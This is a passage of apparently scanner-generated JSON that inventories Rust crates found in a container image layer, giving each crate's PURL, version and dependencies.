"retry-policies", "Identifier": { "PURL": "pkg:cargo/retry-policies@0.5.1", "UID": "c003d4a2b0a47429" }, "Version": "0.5.1", "DependsOn": [ "rand@0.9.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ring@0.17.14", "Name": "ring", "Identifier": { "PURL": "pkg:cargo/ring@0.17.14", "UID": "cd0ad82c88c4e763" }, "Version": "0.17.14", "DependsOn": [ "cfg-if@1.0.4", "getrandom@0.2.16", "untrusted@0.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rkyv@0.8.16", "Name": "rkyv", "Identifier": { "PURL": "pkg:cargo/rkyv@0.8.16", "UID": "85dc6898b15f81dc" }, "Version": "0.8.16", "DependsOn": [ "bytecheck@0.8.2", "bytes@1.11.1", "hashbrown@0.17.1", "indexmap@2.14.0", "munge@0.4.7", "ptr_meta@0.3.1", "rancor@0.1.1", "rend@0.5.3", "smallvec@1.15.2", "tinyvec@1.11.0", "uuid@1.23.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rmp@0.8.15", "Name": "rmp", "Identifier": { "PURL": "pkg:cargo/rmp@0.8.15", "UID": "22f02fde0fc11879" }, "Version": "0.8.15", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rmp-serde@1.3.1", "Name": "rmp-serde", "Identifier": { "PURL": "pkg:cargo/rmp-serde@1.3.1", "UID": "54cb518c3f6f3f2f" }, "Version": "1.3.1", "DependsOn": [ "rmp@0.8.15", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rsa@0.9.10", "Name": "rsa", "Identifier": { "PURL": "pkg:cargo/rsa@0.9.10", "UID": "b82c2d7fbad01256" }, "Version": "0.9.10", "DependsOn": [ "const-oid@0.9.6", "digest@0.10.7", "num-bigint-dig@0.8.6", "num-integer@0.1.46", "num-traits@0.2.19", "pkcs1@0.7.5", "pkcs8@0.10.2", "rand_core@0.6.4", "sha2@0.10.9", "signature@2.2.0", "spki@0.7.3", "subtle@2.6.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rust-ini@0.21.3", "Name": "rust-ini", "Identifier": { "PURL": "pkg:cargo/rust-ini@0.21.3", "UID": "5912053758ae3d92" }, "Version": "0.21.3", "DependsOn": [ "cfg-if@1.0.4", "ordered-multimap@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustc-hash@2.1.2", "Name": "rustc-hash", "Identifier": { "PURL": "pkg:cargo/rustc-hash@2.1.2", "UID": "39f4593e86cddcb0" }, "Version": "2.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rusticata-macros@4.1.0", "Name": "rusticata-macros", "Identifier": { "PURL": "pkg:cargo/rusticata-macros@4.1.0", "UID": "94cc4f0d0a10ccb1" }, "Version": "4.1.0", "DependsOn": [ "nom@7.1.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustix@0.38.44", "Name": "rustix", "Identifier": { "PURL": "pkg:cargo/rustix@0.38.44", "UID": "f6fe2a05518b650a" }, "Version": "0.38.44", "DependsOn": [ "bitflags@2.13.0", "errno@0.3.14", "libc@0.2.186", "linux-raw-sys@0.4.15" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustix@1.1.4", "Name": "rustix", "Identifier": { "PURL": "pkg:cargo/rustix@1.1.4", "UID": "3a23814ef3f4edf8" }, "Version": "1.1.4", "DependsOn": [ "bitflags@2.13.0", "errno@0.3.14", "libc@0.2.186", "linux-raw-sys@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls@0.23.40", "Name": "rustls", "Identifier": { "PURL": "pkg:cargo/rustls@0.23.40", "UID": "112763e6a37729c" }, "Version": "0.23.40", "DependsOn": [ "aws-lc-rs@1.16.2", "once_cell@1.21.4", "rustls-pki-types@1.14.1", "rustls-webpki@0.103.13", "subtle@2.6.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-native-certs@0.8.4", "Name": "rustls-native-certs", "Identifier": { "PURL": "pkg:cargo/rustls-native-certs@0.8.4", "UID": "66df8c55bf2b03c7" }, "Version": "0.8.4", "DependsOn": [ "openssl-probe@0.2.1", "rustls-pki-types@1.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-pki-types@1.14.1", "Name": "rustls-pki-types", "Identifier": { "PURL": "pkg:cargo/rustls-pki-types@1.14.1", "UID": "2719cc3ecfd7bc49" }, "Version": "1.14.1", "DependsOn": [ "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-platform-verifier@0.7.0", "Name": "rustls-platform-verifier", "Identifier": { "PURL": "pkg:cargo/rustls-platform-verifier@0.7.0", "UID": "6ac2333e83a0950f" }, "Version": "0.7.0", "DependsOn": [ "log@0.4.29", "rustls@0.23.40", "rustls-native-certs@0.8.4", "rustls-webpki@0.103.13" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rustls-webpki@0.103.13", "Name": "rustls-webpki", "Identifier": { "PURL": "pkg:cargo/rustls-webpki@0.103.13", "UID": "24fbab313e13bc78" }, "Version": "0.103.13", "DependsOn": [ "aws-lc-rs@1.16.2", "ring@0.17.14", "rustls-pki-types@1.14.1", "untrusted@0.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ryu@1.0.23", "Name": "ryu", "Identifier": { "PURL": "pkg:cargo/ryu@1.0.23", "UID": "b88047820248c39e" }, "Version": "1.0.23", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "salsa20@0.10.2", "Name": "salsa20", "Identifier": { "PURL": "pkg:cargo/salsa20@0.10.2", "UID": "d5adb46f8d53050" }, "Version": "0.10.2", "DependsOn": [ "cipher@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "same-file@1.0.6", "Name": "same-file", "Identifier": { "PURL": "pkg:cargo/same-file@1.0.6", "UID": "935225a7013f012d" }, "Version": "1.0.6", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "schemars@1.2.1", "Name": "schemars", "Identifier": { "PURL": "pkg:cargo/schemars@1.2.1", "UID": "3fcda1559178e6d7" }, "Version": "1.2.1", "DependsOn": [ "dyn-clone@1.0.20", "ref-cast@1.0.25", "serde@1.0.228", "serde_json@1.0.150", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scopeguard@1.2.0", "Name": "scopeguard", "Identifier": { "PURL": "pkg:cargo/scopeguard@1.2.0", "UID": "12ef2a1d9e36d84b" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scroll@0.13.0", "Name": "scroll", "Identifier": { "PURL": "pkg:cargo/scroll@0.13.0", "UID": "557c7348a3456093" }, "Version": "0.13.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "scrypt@0.11.0", "Name": "scrypt", "Identifier": { "PURL": "pkg:cargo/scrypt@0.11.0", "UID": "3171cef5037e870e" }, "Version": "0.11.0", "DependsOn": [ "pbkdf2@0.12.2", "salsa20@0.10.2", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "seahash@4.1.0", "Name": "seahash", "Identifier": { "PURL": "pkg:cargo/seahash@4.1.0", "UID": "253000633d348c09" }, "Version": "4.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "secrecy@0.10.3", "Name": "secrecy", "Identifier": { "PURL": "pkg:cargo/secrecy@0.10.3", "UID": "f5044cfbfc2498" }, "Version": "0.10.3", "DependsOn": [ "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "secret-service@5.1.0", "Name": "secret-service", "Identifier": { "PURL": "pkg:cargo/secret-service@5.1.0", "UID": "4a21be3edb5b6d21" }, "Version": "5.1.0", "DependsOn": [ "aes@0.8.4", "cbc@0.1.2", "futures-util@0.3.32", "generic-array@0.14.7", "getrandom@0.2.16", "hkdf@0.12.4", "num@0.4.3", "once_cell@1.21.4", "serde@1.0.228", "sha2@0.10.9", "zbus@5.15.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "seize@0.5.1", "Name": "seize", "Identifier": { "PURL": "pkg:cargo/seize@0.5.1", "UID": "d5f72258a6920a80" }, "Version": "0.5.1", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "semver@1.0.27", "Name": "semver", "Identifier": { "PURL": "pkg:cargo/semver@1.0.27", "UID": "1b9d679ffaf6dfb7" }, "Version": "1.0.27", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde@1.0.228", "Name": "serde", "Identifier": { "PURL": "pkg:cargo/serde@1.0.228", "UID": "1809e33cd77bda84" }, "Version": "1.0.228", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde-untagged@0.1.9", "Name": "serde-untagged", "Identifier": { "PURL": "pkg:cargo/serde-untagged@0.1.9", "UID": "f96f88a6306a9eda" }, "Version": "0.1.9", "DependsOn": [ "erased-serde@0.4.10", "serde_core@1.0.228", "typeid@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_core@1.0.228", "Name": "serde_core", "Identifier": { "PURL": "pkg:cargo/serde_core@1.0.228", "UID": "d6c96730cf20b21d" }, "Version": "1.0.228", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_json@1.0.150", "Name": "serde_json", "Identifier": { "PURL": "pkg:cargo/serde_json@1.0.150", "UID": "b34b55bded8fa844" }, "Version": "1.0.150", "DependsOn": [ "itoa@1.0.17", "memchr@2.8.2", "serde_core@1.0.228", "zmij@1.0.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_repr@0.1.20", "Name": "serde_repr", "Identifier": { "PURL": "pkg:cargo/serde_repr@0.1.20", "UID": "1f605416b6fe1243" }, "Version": "0.1.20", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_spanned@1.1.1", "Name": "serde_spanned", "Identifier": { "PURL": "pkg:cargo/serde_spanned@1.1.1", "UID": "3004cbb2f35b40e" }, "Version": "1.1.1", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "serde_urlencoded@0.7.1", "Name": "serde_urlencoded", "Identifier": { "PURL": "pkg:cargo/serde_urlencoded@0.7.1", "UID": "d12eb425bb3f83a5" }, "Version": "0.7.1", "DependsOn": [ "form_urlencoded@1.2.2", "itoa@1.0.17", "ryu@1.0.23", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sha1@0.10.6", "Name": "sha1", "Identifier": { "PURL": "pkg:cargo/sha1@0.10.6", "UID": "2e0f4ecce935a3da" }, "Version": "0.10.6", "DependsOn": [ "cfg-if@1.0.4", "cpufeatures@0.2.17", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sha2@0.10.9", "Name": "sha2", "Identifier": { "PURL": "pkg:cargo/sha2@0.10.9", "UID": "afabe8476cb64d97" }, "Version": "0.10.9", "DependsOn": [ "cfg-if@1.0.4", "cpufeatures@0.2.17", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sharded-slab@0.1.7", "Name": "sharded-slab", "Identifier": { "PURL": "pkg:cargo/sharded-slab@0.1.7", "UID": "dc3b1a78d1663e06" }, "Version": "0.1.7", "DependsOn": [ "lazy_static@1.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "shell-escape@0.1.5", "Name": "shell-escape", "Identifier": { "PURL": "pkg:cargo/shell-escape@0.1.5", "UID": "658f474854901b40" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "shellexpand@3.1.2", "Name": "shellexpand", "Identifier": { "PURL": "pkg:cargo/shellexpand@3.1.2", "UID": "24487722080de5bc" }, "Version": "3.1.2", "DependsOn": [ "bstr@1.12.1", "dirs@6.0.0", "os_str_bytes@6.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "signal-hook-registry@1.4.8", "Name": "signal-hook-registry", "Identifier": { "PURL": "pkg:cargo/signal-hook-registry@1.4.8", "UID": "2e5556e2ff1e091b" }, "Version": "1.4.8", "DependsOn": [ "errno@0.3.14", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "signature@2.2.0", "Name": "signature", "Identifier": { "PURL": "pkg:cargo/signature@2.2.0", "UID": "122a44e3f5822807" }, "Version": "2.2.0", "DependsOn": [ "digest@0.10.7", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simd-adler32@0.3.8", "Name": "simd-adler32", "Identifier": { "PURL": "pkg:cargo/simd-adler32@0.3.8", "UID": "a9167a4675349708" }, "Version": "0.3.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simdutf8@0.1.5", "Name": "simdutf8", "Identifier": { "PURL": "pkg:cargo/simdutf8@0.1.5", "UID": "a92e1105160cd779" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "similar@2.7.0", "Name": "similar", "Identifier": { "PURL": "pkg:cargo/similar@2.7.0", "UID": "fdf18dc4751bb1f4" }, "Version": "2.7.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "similar@3.1.1", "Name": "similar", "Identifier": { "PURL": "pkg:cargo/similar@3.1.1", "UID": "78edc8114de7ee41" }, "Version": "3.1.1", "DependsOn": [ "bstr@1.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "simple_asn1@0.6.4", "Name": "simple_asn1", "Identifier": { "PURL": "pkg:cargo/simple_asn1@0.6.4", "UID": "507a4f75b34fade4" }, "Version": "0.6.4", "DependsOn": [ "num-bigint@0.4.6", "num-traits@0.2.19", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "slab@0.4.12", "Name": "slab", "Identifier": { "PURL": "pkg:cargo/slab@0.4.12", "UID": "e70aa3a8399bb697" }, "Version": "0.4.12", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "smallvec@1.15.2", "Name": "smallvec", "Identifier": { "PURL": "pkg:cargo/smallvec@1.15.2", "UID": "adc1c8c7643a0280" }, "Version": "1.15.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "smawk@0.3.2", "Name": "smawk", "Identifier": { "PURL": "pkg:cargo/smawk@0.3.2", "UID": "fb6ab2a8bbbdb7e2" }, "Version": "0.3.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "socket2@0.6.3", "Name": "socket2", "Identifier": { "PURL": "pkg:cargo/socket2@0.6.3", "UID": "1c5711542695fba0" }, "Version": "0.6.3", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spdx@0.13.4", "Name": "spdx", "Identifier": { "PURL": "pkg:cargo/spdx@0.13.4", "UID": "3e0eaebefd256168" }, "Version": "0.13.4", "DependsOn": [ "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spin@0.9.8", "Name": "spin", "Identifier": { "PURL": "pkg:cargo/spin@0.9.8", "UID": "f39c941fe0768f7" }, "Version": "0.9.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "spki@0.7.3", "Name": "spki", "Identifier": { "PURL": "pkg:cargo/spki@0.7.3", "UID": "871e4756f5f2aa62" }, "Version": "0.7.3", "DependsOn": [ "base64ct@1.8.3", "der@0.7.10" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "stable_deref_trait@1.2.1", "Name": "stable_deref_trait", "Identifier": { "PURL": "pkg:cargo/stable_deref_trait@1.2.1", "UID": "1f026959693ad531" }, "Version": "1.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strip-ansi-escapes@0.2.1", "Name": "strip-ansi-escapes", "Identifier": { "PURL": "pkg:cargo/strip-ansi-escapes@0.2.1", "UID": "22790fef1dc07f8a" }, "Version": "0.2.1", "DependsOn": [ "vte@0.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strsim@0.11.1", "Name": "strsim", "Identifier": { "PURL": "pkg:cargo/strsim@0.11.1", "UID": "2441658df0087891" }, "Version": "0.11.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "strum@0.28.0", "Name": "strum", "Identifier": { "PURL": "pkg:cargo/strum@0.28.0", "UID": "90a94cd894a0eae3" }, "Version": "0.28.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "subtle@2.6.1", "Name": "subtle", "Identifier": { "PURL": "pkg:cargo/subtle@2.6.1", "UID": "e70788a2b80d439f" }, "Version": "2.6.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-color@3.0.2", "Name": "supports-color", "Identifier": { "PURL": "pkg:cargo/supports-color@3.0.2", "UID": "ed873d8ceac7d2df" }, "Version": "3.0.2", "DependsOn": [ "is_ci@1.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-hyperlinks@3.2.0", "Name": "supports-hyperlinks", "Identifier": { "PURL": "pkg:cargo/supports-hyperlinks@3.2.0", "UID": "faf222a8a141a6db" }, "Version": "3.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "supports-unicode@3.0.0", "Name": "supports-unicode", "Identifier": { "PURL": "pkg:cargo/supports-unicode@3.0.0", "UID": "37900ccfdd3b33b6" }, "Version": "3.0.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "syn@2.0.117", "Name": "syn", "Identifier": { "PURL": "pkg:cargo/syn@2.0.117", "UID": "2d1a41286d80f774" }, "Version": "2.0.117", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "unicode-ident@1.0.24" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sync_wrapper@1.0.2", "Name": "sync_wrapper", "Identifier": { "PURL": "pkg:cargo/sync_wrapper@1.0.2", "UID": "ab65b6bb9b58ed4f" }, "Version": "1.0.2", "DependsOn": [ "futures-core@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "synstructure@0.13.2", "Name": "synstructure", "Identifier": { "PURL": "pkg:cargo/synstructure@0.13.2", "UID": "44596428469ec541" }, "Version": "0.13.2", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "target-lexicon@0.13.5", "Name": "target-lexicon", "Identifier": { "PURL": "pkg:cargo/target-lexicon@0.13.5", "UID": "c331bb285111e03a" }, "Version": "0.13.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "temp-env@0.3.6", "Name": "temp-env", "Identifier": { "PURL": "pkg:cargo/temp-env@0.3.6", "UID": "11c8fd67d6b011fc" }, "Version": "0.3.6", "DependsOn": [ "futures@0.3.32", "parking_lot@0.12.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tempfile@3.27.0", "Name": "tempfile", "Identifier": { "PURL": "pkg:cargo/tempfile@3.27.0", "UID": "ce40cec58cbd3330" }, "Version": "3.27.0", "DependsOn": [ "fastrand@2.4.1", "getrandom@0.4.1", "once_cell@1.21.4", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "terminal_size@0.4.4", "Name": "terminal_size", "Identifier": { "PURL": "pkg:cargo/terminal_size@0.4.4", "UID": "1a3547cc76b9db00" }, "Version": "0.4.4", "DependsOn": [ "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "termtree@0.5.1", "Name": "termtree", "Identifier": { "PURL": "pkg:cargo/termtree@0.5.1", "UID": "f59afd7a2c7f3a21" }, "Version": "0.5.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "textwrap@0.16.2", "Name": "textwrap", "Identifier": { "PURL": "pkg:cargo/textwrap@0.16.2", "UID": "d91f35ce8d5ea8bb" }, "Version": "0.16.2", "DependsOn": [ "smawk@0.3.2", "unicode-linebreak@0.1.5", "unicode-width@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "thiserror@2.0.18", "Name": "thiserror", "Identifier": { "PURL": "pkg:cargo/thiserror@2.0.18", "UID": "b5806ac9bad2e282" }, "Version": "2.0.18", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "thread_local@1.1.9", "Name": "thread_local", "Identifier": { "PURL": "pkg:cargo/thread_local@1.1.9", "UID": "71233f1d4e20cd0a" }, "Version": "1.1.9", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tikv-jemalloc-sys@0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "Name": "tikv-jemalloc-sys", "Identifier": { "PURL": "pkg:cargo/tikv-jemalloc-sys@0.6.1%2B5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "UID": "d16e50a172331b82" }, "Version": "0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": 